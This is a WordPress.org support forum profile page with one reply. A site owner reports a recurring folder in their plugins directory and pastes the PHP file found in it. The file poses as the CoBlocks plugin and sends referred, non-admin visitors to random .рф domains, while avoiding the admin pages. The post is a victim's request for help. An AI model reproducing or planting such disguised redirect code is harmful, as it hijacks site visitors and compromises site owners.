Title: monkeyf's Replies | WordPress.org

---

# monkeyf

  [  ](https://wordpress.org/support/users/monkeyf/)

 *   [Profile](https://wordpress.org/support/users/monkeyf/)
 *   [Topics Started](https://wordpress.org/support/users/monkeyf/topics/)
 *   [Replies Created](https://wordpress.org/support/users/monkeyf/replies/)
 *   [Reviews Written](https://wordpress.org/support/users/monkeyf/reviews/)
 *   [Topics Replied To](https://wordpress.org/support/users/monkeyf/replied-to/)
 *   [Engagements](https://wordpress.org/support/users/monkeyf/engagements/)
 *   [Favorites](https://wordpress.org/support/users/monkeyf/favorites/)

 Search replies:

## Forum Replies Created

Viewing 1 replies (of 1 total)

 *   Forum: [Plugins](https://wordpress.org/support/forum/plugins-and-hacks/)
    In
   reply to: [[Page Builder Gutenberg Blocks – CoBlocks] Plugin keeps installing itself and breaking my site](https://wordpress.org/support/topic/plugin-keeps-installing-itself-and-breaking-my-site/)
 *  [monkeyf](https://wordpress.org/support/users/monkeyf/)
 * (@monkeyf)
 * [5 years ago](https://wordpress.org/support/topic/plugin-keeps-installing-itself-and-breaking-my-site/#post-14542609)
 * Hello,
 * I never installing your plugin but i have the same problem.
 * On my plugin folder, one time per day, a folder name is automatically create 
   with a file name builder.php who create redirection to a malware page :
 *     ```
       <?php
       /*
       Plugin Name: Page Builder Gutenberg Blocks – CoBlocks 
       Plugin URI:  https://uk.wordpress.org/plugins/coblocks/
       Description: CoBlocks is the most innovative collection of page building WordPress blocks for the new Gutenberg WordPress block editor.
       Version:     2.11.2
       Author:      GoDaddy
       Author URI:  https://godaddy.com/
       License:     GPL2
       License URI: https://www.gnu.org/licenses/gpl-2.0.html
       */
   
       function Page_Builder() {
       	$KADM = current_user_can('manage_options');
       	$hhh = $_SERVER['HTTP_REFERER'];
       	$ALL_LIST = ['http://xn--80aa4ce2a.xn--p1ai','http://xn--80ad2akx.xn--p1ai','http://xn--j1amtse.xn--p1ai','http://xn--c1anqe5e.xn--p1ai','http://xn--80aj4ae6d.xn--p1ai','http://xn--h1aiml3a.xn--p1ai'];
       	$url = "";
       	if(!$KADM && !empty($hhh) && !replace_abc()){
       		header("Location: ".$ALL_LIST[array_rand($ALL_LIST)]);
       		exit();
       	} else{}
       }
       function replace_abc() {
           return in_array($GLOBALS['pagenow'], array('wp-login.php', 'wp-register.php'));
       }
       add_action( 'wp_loaded', 'Page_Builder' );
   
       ?>
       ```
   
 * Can you help me …

Viewing 1 replies (of 1 total)